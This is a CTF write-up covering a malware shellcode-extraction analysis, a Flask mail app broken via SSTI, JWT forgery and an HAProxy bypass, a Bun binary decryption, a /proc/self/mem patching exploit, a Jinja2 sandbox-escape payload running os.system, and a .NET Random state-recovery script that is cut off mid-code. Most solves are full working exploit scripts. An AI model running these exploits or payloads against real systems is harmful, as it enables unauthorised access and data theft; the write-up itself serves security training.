	}

	public static void laEdLLVPNw()
	{
	}

	public static void paAgfmddig()
	{
	}

	public static void cjnlqfBjzL()
	{
	}

	public static void KCDbUZblUL()
	{
	}

	public static void BQyahdmUcx()
	{
	}

	public static void ZQaqybNsNF()
	{
	}

	public static void kMqcLMxylf()
	{
	}

	public static void lRiwElLmen()
	{
	}

	public static void TGgbMTBmCT()
	{
	}

	public static void mIypBPAvou()
	{
	}

	public static void GNIWmhIELm()
	{
	}

	public static void pBozMDFoqS()
	{
	}

	public static void lkVsTCtTUO()
	{
	}

	public static void LpXJGgXkPE()
	{
	}

	public static void lXBpDLuYDX()
	{
	}

	public static void kmfwjwRqcK()
	{
	}

	public static void NPJXBaDESG()
	{
	}

	public static void GuzLGnJGPi()
	{
	}

	public static void hupWDzkAAk()
	{
	}

	public static void oHheQwnDOD()
	{
	}

	public static void hPfXrQNuQV()
	{
	}

	public static void NlAUCtzMtc()
	{
	}

	public static void PceIrZmuUk()
	{
	}

	public static void ZfRmasosFN()
	{
	}

	public static void LPKEwdgnBx()
	{
	}

	public static void XAkLNfLxFs()
	{
	}

	public static void DsAGVItoTk()
	{
	}

	public static void eggFqarzln()
	{
	}

	public static void SZSwnzVfyV()
	{
	}

	public static void GRNnktpeJO()
	{
	}

	public static void JRtrtQtEvN()
	{
	}

	public static void NmlrzDAdsw()
	{
	}

	public static void NnQYEmtTvX()
	{
	}

	public static void KnPxEaGBcw()
	{
	}
}
```

</details>

Then, we can see the whole decryption process from the resource to be a shellcode. I create a python script to implement that and get the shellcode.

```python
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import hashlib
from PIL import Image
import io

with open('out/65dbe5312fe14ca7b0ffeeb83ab519b6', 'rb') as f:
    encrypted_data = f.read()

key = b'b0af0bc7afff41dc'
iv = b'f050892db7f74506'

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_image = unpad(cipher.decrypt(encrypted_data), AES.block_size)


with open('decrypted_image.bin', 'wb') as f:
    f.write(decrypted_image)

try:
    img = Image.open(io.BytesIO(decrypted_image))
    width, height = img.size
    print(f"Image size: {width}x{height}")

    extracted = bytearray()
    for y in range(height):
        for x in range(width):
            r = img.getpixel((x, y))[0]
            # C# code: (byte)(255 - val.GetPixel(num3, i).R ^ 0x72)
            extracted.append((255 - r) ^ 0x72)

    print(f"Extracted data size: {len(extracted)} bytes")

    sha256_hash = hashlib.sha256(bytes(extracted)).hexdigest()
    print(f"\nSHA256 of Donut shellcode: {sha256_hash}")

except Exception as e:
    print(f"Error processing as image: {e}")
    print("Check decrypted_image.bin file type")
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FNxu99ovfOEVjIZYJYeKM%2Fimage.png?alt=media&#x26;token=e8d11f2c-ce8f-4afe-b294-fe77cc115678" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FgBcTqmjiyzhLZlVkokxz%2Fimage.png?alt=media&#x26;token=328b31c6-87ca-49d7-9998-6bbab3daf89f" alt=""><figcaption></figcaption></figure>

9. The malware also created a windows shortcut file. Please provide only the filename of this shortcut without full path!

Back to the any run, we can know the shortcut file created is `App.url`

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2F4dvWj3jdSnvtYLcTDR5f%2Fimage.png?alt=media&#x26;token=be616960-c3a6-4663-839f-cdd0bbdf6ec9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FfP55p8DvSCEwMGEAdqXf%2Fimage.png?alt=media&#x26;token=3a1bbc26-897a-44a4-bc2c-9aa0d2e30e60" alt=""><figcaption></figcaption></figure>

10. What's the full path of the file that is going to be executed from the shortcut? This file's attribute is set to hidden.

Clicked the detail from the previous provided screenshoot, we can know the file that is going to be executed from the shortcut

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FWvUwxUzyxJ3bzqPZXMgS%2Fimage.png?alt=media&#x26;token=2f06199c-7f50-47cc-9323-19e5d74fece4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FLwmlG6C8B6n2hkcZvjbW%2Fimage.png?alt=media&#x26;token=ddc617e3-4abb-491f-8f96-58a721073cca" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{W31l\_d0Ne\_YoU\_SucC3sSfUL1y\_DE7on4Te\_oNE\_01\_7He\_ClICk1!x\_m4lWAR3\_CaMPAi9n\_FrOm\_R34l\_AP7\_6R0up\_AsenG15hERE}
{% endhint %}

## Web

### corp-mail

> Rumor said that my office's internal email system was breached somewhere... must've been the wind.
>
> author: lordrukie x beluga

**Solved by Claude Sonnet 4.5**

The app is a fake corporate email system built with Flask. Somewhere in the database is an email from `admin` to `mike.wilson` with the subject **"Confidential: System Credentials"** — and the flag is in the body.

To read it, we need admin access. All `/admin` routes are blocked by a proxy. Here's how I get in anyway.

The attack chain is to Register -> Login -> Leak JWT via SSTI -> Forge admin token -> Bypass HAProxy -> Flag.

```python
import jwt, re, random, string, socket
from datetime import datetime, timezone, timedelta
from bs4 import BeautifulSoup
import requests

BASE_URL = input("[?] Target URL (e.g. http://challenges.1pc.tf:36032): ").strip().rstrip("/")
s = requests.Session()

# ── 1. Register ────────────────────────────────────────────────
u = "atk_" + ''.join(random.choices(string.ascii_lowercase, k=6))
s.post(f"{BASE_URL}/register", data={
    "username": u, "email": f"{u}@x.com",
    "password": "P@ss1337", "confirm_password": "P@ss1337"
})
print(f"[1] Registered as {u}")

# ── 2. Login ───────────────────────────────────────────────────
s.post(f"{BASE_URL}/login", data={"username": u, "password": "P@ss1337"})
print(f"[2] Logged in")

# ── 3. SSTI — leak JWT secret ──────────────────────────────────
s.post(f"{BASE_URL}/settings", data={"signature": "{app.config[JWT_SECRET]}"})
secret = BeautifulSoup(s.get(f"{BASE_URL}/settings").text, "html.parser") \
           .find("textarea", {"name": "signature"}).text.strip()
print(f"[3] JWT secret leaked: {secret}")

# ── 4. Forge admin JWT ─────────────────────────────────────────
token = jwt.encode(
    {"user_id": 1, "username": "admin", "is_admin": 1,
     "exp": datetime.now(timezone.utc) + timedelta(hours=24)},
    secret, algorithm="HS256"
)
print(f"[4] Admin token forged")

# ── 5. Raw HTTP request — bypass HAProxy with %69 ─────────────
# requests decodes %69 -> 'i' before sending, which HAProxy then blocks.
# We use a raw socket to send the exact bytes we want.
from urllib.parse import urlparse
import ssl

def raw_get(url, path, token):
    parsed = urlparse(url)
    host = parsed.hostname
    port = parsed.port or (443 if parsed.scheme == "https" else 80)
    use_ssl = parsed.scheme == "https"

    request = (
        f"GET {path} HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Cookie: token={token}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    )

    sock = socket.create_connection((host, port), timeout=10)
    if use_ssl:
        sock = ssl.wrap_socket(sock)
    sock.sendall(request.encode())

    response = b""
    while True:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    sock.close()

    # Split headers from body
    _, _, body = response.partition(b"\r\n\r\n")
    return body.decode(errors="replace")

# ── 6. Brute email IDs via raw socket ─────────────────────────
print(f"[5] Scanning emails via raw socket (HAProxy bypass)...")
flag = None
for eid in range(1, 101):
    body = raw_get(BASE_URL, f"/adm%69n/email/{eid}", token)
    match = re.search(r"C2C\{[^}]+\}", body)
    if match:
        flag = match.group()
        print(f"    Found in email ID {eid}")
        break

print(f"\n[FLAG] {flag}" if flag else "\n[-] Flag not found in IDs 1-100")
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fcl5bGUzaxs8NqdzNKMQu%2Fimage.png?alt=media&#x26;token=665014aa-06f3-49c9-b2cf-aeec71f978b5" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{f0rm4t\_str1ng\_l34k5\_4nd\_n0rm4l1z4t10n\_3dcd0b62728c}
{% endhint %}

## Reverse

### Bunaken

> Can you help me to recover the flag?
>
> author: vidner

**Helped with ChatGPT 5.2**

We're given a executable file and an encrypted flag.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FfNmtzHxUw4DQbMPFemvG%2Fimage.png?alt=media&#x26;token=558ea324-69db-4f24-8230-2c7d7cfb680a" alt=""><figcaption></figcaption></figure>

When I tried to string the binary, it gave me a "Bun" string, indicating that it is a "Bun" binary. So, I decompile it use [Bun Decompile](https://github.com/lafkpages/bun-decompile) and get the source code.

```javascript
function w(){let n=["WR0tF8oezmkl","toString","W603xSol","1tlHJnY","1209923ghGtmw","text","13820KCwBPf","byteOffset","40xRjnfn","Cfa9","bNaXh8oEW6OiW5FcIq","alues","lXNdTmoAgqS0pG","D18RtemLWQhcLConW5a","nCknW4vfbtX+","WOZcIKj+WONdMq","FCk1cCk2W7FcM8kdW4y","a8oNWOjkW551fSk2sZVcNa","yqlcTSo9xXNcIY9vW7dcS8ky","from","iSoTxCoMW6/dMSkXW7PSW4xdHaC","c0ZcS2NdK37cM8o+mW","377886jVoqYx","417805ESwrVS","7197AxJyfv","cu7cTX/cMGtdJSowmSk4W5NdVCkl","W7uTCqXDf0ddI8kEFW","write","encrypt","ted","xHxdQ0m","byteLength","6CCilXQ","304OpHfOi","set","263564pSWjjv","subtle","945765JHdYMe","SHA-256","Bu7dQfxcU3K","getRandomV"];return w=function(){return n},w()}function l(n,r){return n=n-367,w()[n]}var y=l,s=c;function c(n,r){n=n-367;let t=w(),x=t[n];if(c.uRqEit===void 0){var b=function(i){let f="",a="";for(let d=0,o,e,p=0;e=i.charAt(p++);~e&&(o=d%4?o*64+e:e,d++%4)?f+=String.fromCharCode(255&o>>(-2*d&6)):0)e="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(e);for(let d=0,o=f.length;d<o;d++)a+="%"+("00"+f.charCodeAt(d).toString(16)).slice(-2);return decodeURIComponent(a)};let U=function(i,B){let f=[],a=0,d,o="";i=b(i);let e;for(e=0;e<256;e++)f[e]=e;for(e=0;e<256;e++)a=(a+f[e]+B.charCodeAt(e%B.length))%256,d=f[e],f[e]=f[a],f[a]=d;e=0,a=0;for(let p=0;p<i.length;p++)e=(e+1)%256,a=(a+f[e])%256,d=f[e],f[e]=f[a],f[a]=d,o+=String.fromCharCode(i.charCodeAt(p)^f[(f[e]+f[a])%256]);return o};c.yUvSwA=U,c.MmZTqk={},c.uRqEit=!0}let u=t[0],I=n+u,A=c.MmZTqk[I];return!A?(c.ftPoNg===void 0&&(c.ftPoNg=!0),x=c.yUvSwA(x,r),c.MmZTqk[I]=x):x=A,x}(function(n,r){let t=c,x=l,b=n();while(!0)try{if(parseInt(x(405))/1*(parseInt(x(383))/2)+-parseInt(x(385))/3*(parseInt(t(382,"9Dnx"))/4)+parseInt(x(384))/5*(-parseInt(x(393))/6)+parseInt(x(396))/7*(parseInt(x(369))/8)+parseInt(t(381,"R69F"))/9+-parseInt(x(367))/10+-parseInt(x(406))/11===r)break;else b.push(b.shift())}catch(u){b.push(b.shift())}})(w,105028);var h=async(n)=>{let r=l,t=c,x=n instanceof ArrayBuffer?new Uint8Array(n):new Uint8Array(n[t(400,"I2yl")],n[r(368)],n.byteLength);if(x.byteLength===16||x.byteLength===24||x.byteLength===32)return x;let b=await crypto.subtle[t(402,"Fw]1")](r(399),x);return new Uint8Array(b).subarray(0,16)},g=(n,r)=>{let t=l,x=new Uint8Array(n.byteLength+r.byteLength);return x.set(n,0),x[t(395)](r,n[t(392)]),x},m=async(n,r)=>{let t=c,x=l,b=crypto[x(401)+x(372)](new Uint8Array(16)),u=await h(n),I=await crypto[x(397)][t(371,"kAmA")](t(370,"CYgn"),u,{name:"AES-CBC"},!1,[x(389)]),A=await crypto.subtle[x(389)]({name:t(375,"dHTh"),iv:b},I,r);return g(b,new Uint8Array(A))},S=Bun[s(391,"9Dnx")](s(377,"R69F")),k=await S[y(407)](),v=await Bun[s(387,"f]pG")+"ss"](k),z=await m(Buffer[y(380)](s(373,"rG]G")),v);Bun[y(388)]("flag.txt.b"+s(374,"CYgn")+y(390),Buffer[s(404,"(Y*]")](z)[y(403)](s(376,"$lpa")));
```

From that, key material is passed like this pattern:

* Buffer.from(s(373, "rG]G"))

So, we can evaluate it to reveal the real string

```javascript
const fs = require('fs');
let code = fs.readFileSync('extracted/bundled/bunaken.js','utf8');
code = code.split('var h=async')[0];
eval(code);
console.log(c(373,'rG]G'));
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FUY5KEPIrnhBxSd4sgXvw%2Fimage.png?alt=media&#x26;token=98b74aaa-8546-4a8f-9a68-d5f315e2b43f" alt=""><figcaption></figcaption></figure>

In the code, there is a normalize step:

* if key length is not 16/24/32 bytes, hash with SHA-256
* take first 16 bytes

So actual AES key is:

* SHA256("sulawesi")\[:16]

Then, from the source code, we can know the encryption process is by:

1. Read flag text
2. Compress with zstd
3. Encrypt using AES-CBC with random 16-byte IV
4. Save IV || ciphertext
5. Base64 encode into flag.txt.bunakencrypted

With all of that information, now we can decrypt the flag.

```python
import base64
import hashlib
from pathlib import Path

from Crypto.Cipher import AES
import zstandard as zstd


def main() -> None:
    enc_path = Path('flag.txt.bunakencrypted')
    b64 = enc_path.read_bytes().strip()
    raw = base64.b64decode(b64)

    iv = raw[:16]
    ct = raw[16:]

    key_seed = b'sulawesi'
    key = hashlib.sha256(key_seed).digest()[:16]

    pt_padded = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)

    pad = pt_padded[-1]
    if not (1 <= pad <= 16 and pt_padded.endswith(bytes([pad]) * pad)):
        raise ValueError('Invalid PKCS#7 padding')
    compressed = pt_padded[:-pad]

    flag = zstd.ZstdDecompressor().decompress(compressed).decode('utf-8')
    print(flag)


if __name__ == '__main__':
    main()
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FFRrIh6Pr16UPxRSZzUth%2Fimage.png?alt=media&#x26;token=a1a37642-7c27-4c74-a9e3-932728b0d1c1" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{BUN\_AwKward\_ENcryption\_compression\_obfuscation}
{% endhint %}

## Pwn

### ns3

> It's not S3, but it's not such a simple server either. Or maybe it is?
>
> author: msfir

**Solved by GPT 5.2**

This challenge is a small HTTP file server with two dangerous features:

* `GET` can read files (`path`, `offset`, `size`)
* `PUT` can write files (`path`, `offset`)

There is a strict rate limit (`10 requests / 60s`), so the solve must stay low-noise.

Reading directories normally returns an empty body, so we cannot list files directly. The trick is to patch the running server process through `/proc/self/mem` (inside one keep-alive connection), then make `/` return directory entries.

After that:

1. Parse the directory listing
2. Find `flag-*`
3. Read the flag file

```python
import argparse
import re
import socket
from typing import Dict, List, Optional, Tuple
from urllib.parse import quote

FLAG_RE = re.compile(rb"C2C\{[^\n\r\t\x00}]+\}")


TEXT_RX_FILE_OFFSET = 0x1A000
OFF_PATCH_FORCE_DIR_BRANCH = 0x232D9
OFF_PATCH_READ_CALL = 0x237C7
ADDR_GETDENTS64 = 0x1963B0

PATCH1 = bytes.fromhex("e9e902000090")  # jmp 0x235c7; nop
PATCH2 = bytes.fromhex("e8e42b1700")    # call getdents64


class KeepAliveHTTP:
    def __init__(self, host: str, port: int, timeout: float = 6.0):
        self.host = host
        self.port = port
        self.timeout = timeout
        self.sock: Optional[socket.socket] = None
        self.buf = b""

    def connect(self) -> None:
        self.sock = socket.create_connection((self.host, self.port), timeout=self.timeout)
        self.sock.settimeout(self.timeout)

    def close(self) -> None:
        if self.sock is not None:
            try:
                self.sock.close()
            except Exception:
                pass
            self.sock = None

    def _recv_more(self) -> None:
        if self.sock is None:
            raise RuntimeError("socket not connected")
        chunk = self.sock.recv(4096)
        if not chunk:
            raise RuntimeError("connection closed")
        self.buf += chunk

    def request(self, method: str, path: str, body: bytes = b"", keep_alive: bool = True) -> Tuple[int, Dict[str, str], bytes]:
        if self.sock is None:
            self.connect()

        conn_header = "keep-alive" if keep_alive else "close"
        req = (
            f"{method} {path} HTTP/1.1\r\n"
            f"Host: {self.host}\r\n"
            f"Connection: {conn_header}\r\n"
            f"Content-Length: {len(body)}\r\n"
            "\r\n"
        ).encode() + body

        assert self.sock is not None
        self.sock.sendall(req)

        while b"\r\n\r\n" not in self.buf:
            self._recv_more()

        head, self.buf = self.buf.split(b"\r\n\r\n", 1)
        lines = head.split(b"\r\n")
        status = int(lines[0].split()[1])

        headers: Dict[str, str] = {}
        for line in lines[1:]:
            if b":" in line:
                k, v = line.split(b":", 1)
                headers[k.decode().strip().lower()] = v.decode(errors="ignore").strip()

        clen = int(headers.get("content-length", "0"))
        while len(self.buf) < clen:
            self._recv_more()

        body_out = self.buf[:clen]
        self.buf = self.buf[clen:]
        return status, headers, body_out


def qpath(path: str) -> str:
    return quote(path, safe="/")


def parse_maps_for_pie_base(maps_blob: bytes) -> int:
    txt = maps_blob.decode(errors="ignore")
    for line in txt.splitlines():
        # Format: start-end perms offset dev inode [pathname]
        parts = line.split()
        if len(parts) < 5:
            continue
        addrs, perms, off_hex = parts[0], parts[1], parts[2]
        if "r-xp" not in perms:
            continue
        try:
            start = int(addrs.split("-")[0], 16)
            off = int(off_hex, 16)
        except Exception:
            continue

        # The shipped binary's executable mapping is typically at file offset 0x1a000.
        # PIE base = map_start - file_offset.
        if off == TEXT_RX_FILE_OFFSET:
            return start - off

    raise RuntimeError("could not derive PIE base from /proc/self/maps")


def parse_dirents64(blob: bytes) -> List[str]:
    out: List[str] = []
    i = 0
    n = len(blob)
    while i + 19 <= n:
        reclen = int.from_bytes(blob[i + 16:i + 18], "little")
        if reclen < 19 or i + reclen > n:
            break

        name_raw = blob[i + 19:i + reclen]
        nul = name_raw.find(b"\x00")
        if nul != -1:
            name_raw = name_raw[:nul]
        if name_raw:
            try:
                out.append(name_raw.decode(errors="ignore"))
            except Exception:
                pass
        i += reclen
    return out


def extract_flag_text(blob: bytes) -> str:
    m = FLAG_RE.search(blob)
    if m:
        return m.group().decode()
    return blob.decode(errors="ignore").strip()


def try_read_paths_plain(host: str, port: int, paths: List[str], verbose: bool = False) -> Optional[str]:
    c = KeepAliveHTTP(host, port)
    try:
        for idx, path in enumerate(paths):
            keep_alive = idx != len(paths) - 1
            st, _, flag_blob = c.request("GET", f"/?path={qpath(path)}&size=512", keep_alive=keep_alive)
            if st != 200:
                continue
            out = extract_flag_text(flag_blob)
            if verbose:
                print(f"[*] plain read {path} -> {len(flag_blob)} bytes")
            if out:
                return out
        return None
    finally:
        c.close()


def exploit_get_flag(host: str, port: int, verbose: bool = False) -> Optional[str]:
    c = KeepAliveHTTP(host, port)
    try:
        # 1) Leak PIE base from current child process.
        st, _, maps = c.request("GET", f"/?path={qpath('/proc/self/maps')}&size=4000")
        if st == 429:
            raise RuntimeError("rate-limited (429): wait ~60s and retry")
        if st != 200:
            raise RuntimeError(f"maps request failed with {st}")
        pie = parse_maps_for_pie_base(maps)

        # 2) Patch: force directory branch.
        addr1 = pie + OFF_PATCH_FORCE_DIR_BRANCH
        st, _, _ = c.request("PUT", f"/?path={qpath('/proc/self/mem')}&offset={addr1}", PATCH1)
        if st != 204:
            raise RuntimeError(f"patch1 failed with {st}")

        # 3) Patch: read() -> getdents64().
        addr2 = pie + OFF_PATCH_READ_CALL
        st, _, _ = c.request("PUT", f"/?path={qpath('/proc/self/mem')}&offset={addr2}", PATCH2)
        if st != 204:
            raise RuntimeError(f"patch2 failed with {st}")

        # 4) Read root directory entries as raw linux_dirent64 bytes.
        st, _, root_blob = c.request("GET", f"/?path={qpath('/')}" + "&size=16384")
        if st != 200:
            raise RuntimeError(f"root dir read failed with {st}")

        names = parse_dirents64(root_blob)
        flag_names = [x for x in names if x.startswith("flag-")]
        if verbose:
            print(f"[*] root entries parsed: {len(names)}")
            print(f"[*] flag-* candidates from /: {flag_names}")
        if not flag_names:
            raise RuntimeError("flag-* filename not found in root entries")

        # 5) Build candidate paths and read them using a fresh, unpatched connection.
        candidate_paths = ["/" + x for x in flag_names]
        for x in flag_names:
            candidate_paths.append("/app/" + x)
            candidate_paths.append("/home/ctf/" + x)
            candidate_paths.append("/tmp/" + x)
        return try_read_paths_plain(host, port, candidate_paths, verbose=verbose)
    finally:
        c.close()


def main() -> None:
    ap = argparse.ArgumentParser()
    ap.add_argument("host")
    ap.add_argument("port", type=int)
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    try:
        flag = exploit_get_flag(args.host, args.port, verbose=args.verbose)
    except Exception as e:
        print(f"[!] Exploit failed: {e}")
        return

    if flag:
        print(flag)
    else:
        print("[!] No flag extracted")


if __name__ == "__main__":
    main()
```

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2FVPnhmvWxEZNI1V0FgZ44%2Fimage.png?alt=media&#x26;token=2df5d32f-ba90-4acf-8559-66931129731f" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{1INUx\_1iL3\_sY57eM\_lS\_QuiT3\_MIND\_BL0wlnG\_l5N't\_1T\_e788d535e7cc?}
{% endhint %}

## Misc

### Jinjail

> Pyjail? No, this is JinJail!
>
> author: daffainfo

**Solved with Claude Sonnet 4.5**

This challenge is basically jinja2 ssti jail with a strict waf.

In `app.py`, they render my input as template, and they expose numpy into jinja globals. waf blocks a lot of obvious stuff (eval, exec, ctypes, quotes, /, +, -, etc), so normal payloads die.

my payload:

`{{numpy.testing.extbuild.os.system(numpy.testing.extbuild.os.sep~numpy.testing.extbuild.sys.copyright[9].join(dict(fix=1,help=1)))}}`

how i used it:

1. i pivoted from numpy.testing.extbuild to get os + sys.
2. i made dict(fix=1,help=1) so i can get keys fix and help without quotes.
3. i used sys.copyright\[9] as /, then .join(...) to build fix/help.
4. os.sep \~ ... adds leading /, final command becomes /fix/help.
5. os.system(...) executes it.

`/fix` is suid root binary (`fix.c`). if arg is help, it does `setuid(0)` and cats `/root/flag.txt`.

<figure><img src="https://1187639181-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FG5nO5TAg9QSFThM6q9d8%2Fuploads%2Fbh4OPYIx2kljclasfNms%2Fimage.png?alt=media&#x26;token=dabf44b3-7416-4d92-8bbf-91354829fac3" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
C2C{damnnn\_i\_love\_numpy\_4d32b40b19d4}
{% endhint %}

## Crypto

### AIC gachapon

> The factory must grow!! Originium rolls only
>
> author: azuketto

**Solved by ChatGPT 5.2**

This challenge is a slot-machine style ASP.NET app. Goal: recover the hidden redeem code, then call `/api/redeem` to get flag.

* `GET /api/recent/30` gives recent tick frames
* `POST /api/redeem` takes `{ "tickId": long, "code": int }`

The app does not return the redeem code directly, but it leaks many RNG outputs in each frame (`sampleInts`, etc).

Backend uses one long-lived `System.Random` instance for everything. Each tick consumes RNG in a fixed order, including:

* 16 times `Next(int.MaxValue)` (this is the big leak)
* then later `Next(RedeemMax)` for secret redeem code

Because `System.Random` is predictable, those leaked values are enough to recover internal state and predict future outputs.

Exploit idea

1. Pull frames from `/api/recent/30`.
2. Use leaked `sampleInts` to reconstruct `System.Random` state (mod `2^31-1`, 55-word state, with small rounding noise).
3. Once state is known, compute the RNG output at redeem position for a target tick.
4. Send `tickId` + predicted `code` to `/api/redeem`.

<pre class="language-python"><code class="lang-python"><strong>#!/usr/bin/env python3
</strong>import argparse
import json
import sys
from dataclasses import dataclass
from typing import Iterable, List, Tuple, Dict, Any, Optional

P = 2147483647  # int.MaxValue, and a Mersenne prime (2^31-1)
STATE_N = 55
LAG_A = 55
LAG_B = 34  # due to inextp offset 21 => 55-21
CALLS_PER_TICK = 25

JACKPOT_MAX = 1_000_000
REDEEM_MAX = 10_000_000


def modinv(a: int, p: int = P) -> int:
    return pow(a % p, p - 2, p)


def gauss_solve_mod(eqs: List[Tuple[List[int], int]], nvars: int, p: int = P) -> Tuple[List[int], int]:
    """Solve A x = b over field mod p.

    Returns (x, rank). Free variables (if any) are set to 0.
    Raises ValueError if inconsistent.
    """
    m = len(eqs)
    A = [row[:] for row, _ in eqs]
    B = [b % p for _, b in eqs]

    where = [-1] * nvars
    row = 0

    for col in range(nvars):
        piv = None
        for r in range(row, m):
            if A[r][col] % p != 0:
                piv = r
                break
        if piv is None:
            continue

        if piv != row:
            A[row], A[piv] = A[piv], A[row]
            B[row], B[piv] = B[piv], B[row]

        inv = modinv(A[row][col], p)
        for c in range(col, nvars):
            A[row][c] = (A[row][c] * inv) % p
        B[row] = (B[row] * inv) % p

        for r in range(m):
            if r == row:
                continue
            factor = A[r][col] % p
            if factor == 0:
                continue
            for c in range(col, nvars):
                A[r][c] = (A[r][c] - factor * A[row][c]) % p
            B[r] = (B[r] - factor * B[row]) % p

        where[col] = row
        row += 1
        if row == m:
            break

    # consistency check: 0 = nonzero
    for r in range(m):
        if all((A[r][c] % p) == 0 for c in range(nvars)) and (B[r] % p) != 0:
            raise ValueError("inconsistent system")

    x = [0] * nvars
    for col in range(nvars):
        if where[col] != -1:
            x[col] = B[where[col]] % p

    return x, row


def coeff_rows_up_to(max_n: int) -> List[List[int]]:
    """Row vectors C[n] such that y[n] = sum_i C[n][i]*y[i] (i=0..54) mod P."""
    if max_n &#x3C; 0:
        return []
    C: List[List[int]] = [[0] * STATE_N for _ in range(max_n + 1)]
    for i in range(min(STATE_N, max_n + 1)):
        C[i][i] = 1
    for n in range(STATE_N, max_n + 1):
        a = C[n - LAG_A]
        b = C[n - LAG_B]
        C[n] = [(a[i] - b[i]) % P for i in range(STATE_N)]
    return C


def gen_stream_from_state(y0_54: List[int], max_n: int) -> List[int]:
    y = [0] * (max_n + 1)
    for i in range(STATE_N):
        if i &#x3C;= max_n:
            y[i] = y0_54[i] % P
    for n in range(STATE_N, max_n + 1):
        y[n] = (y[n - LAG_A] - y[n - LAG_B]) % P
    return y


def dotnet_next_from_internal(y: int, max_value: int) -> int:
    # .NET Random.Next(maxValue) uses double: (int)(Sample()*maxValue)
    # Sample() == InternalSample() * (1.0 / int.MaxValue).
    # For maxValue == int.MaxValue this is usually y, but can be y-1 due to floating rounding.
    return int((float(y) * (1.0 / P)) * float(max_value))


def dot_mod(row: List[int], x: List[int]) -> int:
    s = 0
    for a, b in zip(row, x):
        s = (s + a * b) % P
    return s


def parse_frames(obj: Any) -> List[Dict[str, Any]]:
    if isinstance(obj, list):
        frames = obj
    elif isinstance(obj, dict) and "frames" in obj and isinstance(obj["frames"], list):
        frames = obj["frames"]
    else:
        raise ValueError("expected a JSON list of frames")

    out = []
    for f in frames:
        if not isinstance(f, dict):
            continue
        if "tickId" not in f or "sampleInts" not in f:
            continue
        out.append(f)
    if not out:
        raise ValueError("no usable frames found")
    return out


def observations_from_frames(frames: List[Dict[str, Any]]) -> List[Tuple[int, int]]:
    obs = []
    for f in frames:
        t = int(f["tickId"])
        base = (t - 1) * CALLS_PER_TICK
        si = f["sampleInts"]
        if not isinstance(si, list) or len(si) &#x3C; 16:
            raise ValueError(f"tick {t}: sampleInts missing/short")
        for j in range(16):
            n = base + 4 + j
            obs.append((n, int(si[j])))
    return obs


def _recover_state_ransac(obs: List[Tuple[int, int]], C: List[List[int]], max_iters: int = 4000) -> Tuple[List[int], int]:
    # Each observation v is Random.Next(int.MaxValue). That equals either y or y-1 depending on floating rounding.
    # Treat the rare y-1 cases as outliers and use RANSAC to find a consistent state.
    import random

    if len(obs) &#x3C; STATE_N:
        raise ValueError(f"not enough observations ({len(obs)} &#x3C; {STATE_N})")

    def build_full_rank_basis(shuffled_idx: List[int]) -> Optional[List[Tuple[List[int], int]]]:
        basis: List[Tuple[List[int], int]] = []
        for i in shuffled_idx:
            n, v = obs[i]
            trial = basis + [(C[n], v % P)]
            try:
                _, rank = gauss_solve_mod([(row, 0) for row, _ in trial], STATE_N, P)
            except ValueError:
                continue
            if rank > len(basis):
                basis.append((C[n], v % P))
                if len(basis) == STATE_N:
                    return basis
        return None

    def score_candidate(x: List[int]) -> int:
        score = 0
        for n, v in obs:
            y = dot_mod(C[n], x)
            if dotnet_next_from_internal(y, P) == v:
                score += 1
        return score

    obs_idx = list(range(len(obs)))
    best = None  # (score, x, rank)

    # Deterministic first pass often succeeds and is faster/stable on small windows.
    basis = build_full_rank_basis(obs_idx)
    if basis is not None:
        try:
            x, rank = gauss_solve_mod(basis, STATE_N, P)
            if rank == STATE_N:
                score = score_candidate(x)
                best = (score, x, rank)
                if score == len(obs):
                    return x, rank
        except ValueError:
            pass

    # RANSAC fallback: randomize basis construction to dodge occasional outliers.
    rnd = random.Random(0)
    for _ in range(max_iters):
        rnd.shuffle(obs_idx)
        basis = build_full_rank_basis(obs_idx)
        if basis is None:
            continue
        try:
